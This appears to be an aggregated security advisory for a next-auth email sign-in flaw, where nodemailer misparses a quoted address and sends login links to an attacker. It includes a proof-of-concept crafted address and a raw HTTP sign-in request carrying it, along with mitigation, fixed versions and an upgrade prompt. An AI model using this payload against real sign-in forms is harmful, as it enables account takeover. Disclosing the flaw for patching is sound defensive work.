# GHSA-5jpx-9hw9-2fx4: NextAuthjs Email misdelivery Vulnerability

> Attackers can intercept authentication emails by exploiting an email address parsing bug, allowing them to take over victim accounts.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 29 Oct 2025

## What is GHSA-5jpx-9hw9-2fx4?

GHSA-5jpx-9hw9-2fx4 is a vulnerability in next-auth, published on 29 Oct 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in `nodemailer`'s address parser used by the project (fixed in `nodemailer` **v7.0.7**). A crafted input such as:

```
"e@attacker.com"@victim.com
```

is parsed incorrectly and results in the message being delivered to `e@attacker.com` (attacker) instead of `"<e@attacker.com>@victim.com"` (the intended recipient at `victim.com`) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

<h2>Affected NextAuthjs Version</h2>

≤ Version | Afftected
-- | --
4.24.11 | Yes
5.0.0-beta.29 | Yes

## POC

Example Setup showing misdelivery of email 

```jsx
import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})

```

```jsx
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin
```

<img width="1247" height="1408" alt="Screenshot from 2025-10-25 21-15-25" src="https://github.com/user-attachments/assets/456968a3-14ce-42b4-b8ca-f25b9351cf0f" />
<img width="1279" height="1450" alt="Screenshot from 2025-10-25 21-14-47" src="https://github.com/user-attachments/assets/4e665b66-9bfe-43ce-abd3-97880972218f" />

# Mitigation

Update to nodemailer 7.0.7

## Credits

https://zeropath.com/  Helped identify this security issue

## Which versions are affected by GHSA-5jpx-9hw9-2fx4?

4 open source packages ship an affected version, including next-auth.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `next-auth` | npm | All versions | 4.24.12 |
| `next-auth` | npm | All versions | 4.24.12 |
| `next-auth` | npm | From 5.0.0-beta.0 | 5.0.0-beta.30 |
| `next-auth` | npm | From 5.0.0-beta.0 | 5.0.0-beta.30 |

## How do I fix GHSA-5jpx-9hw9-2fx4?

Upgrade next-auth to a fixed version for your release line: 4.24.12 or 5.0.0-beta.30.

## Is GHSA-5jpx-9hw9-2fx4 being exploited?

There is no known exploitation of GHSA-5jpx-9hw9-2fx4 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-5jpx-9hw9-2fx4 and fix it if it is affected.

What it is: GHSA-5jpx-9hw9-2fx4 is a vulnerability in next-auth, published on 29 Oct 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-5jpx-9hw9-2fx4 in the wild and no public exploit code.

Affected packages and fixed versions:
- next-auth (npm): affected all versions; fixed in 4.24.12
- next-auth (npm): affected all versions; fixed in 4.24.12
- next-auth (npm): affected from 5.0.0-beta.0; fixed in 5.0.0-beta.30
- next-auth (npm): affected from 5.0.0-beta.0; fixed in 5.0.0-beta.30

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-5jpx-9hw9-2fx4/ (Markdown: https://insights.sbomify.com/GHSA-5jpx-9hw9-2fx4/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-5jpx-9hw9-2fx4

---
From sbomify Insights: https://insights.sbomify.com/GHSA-5jpx-9hw9-2fx4/
Summaries are generated and may contain mistakes; the official description above is the record.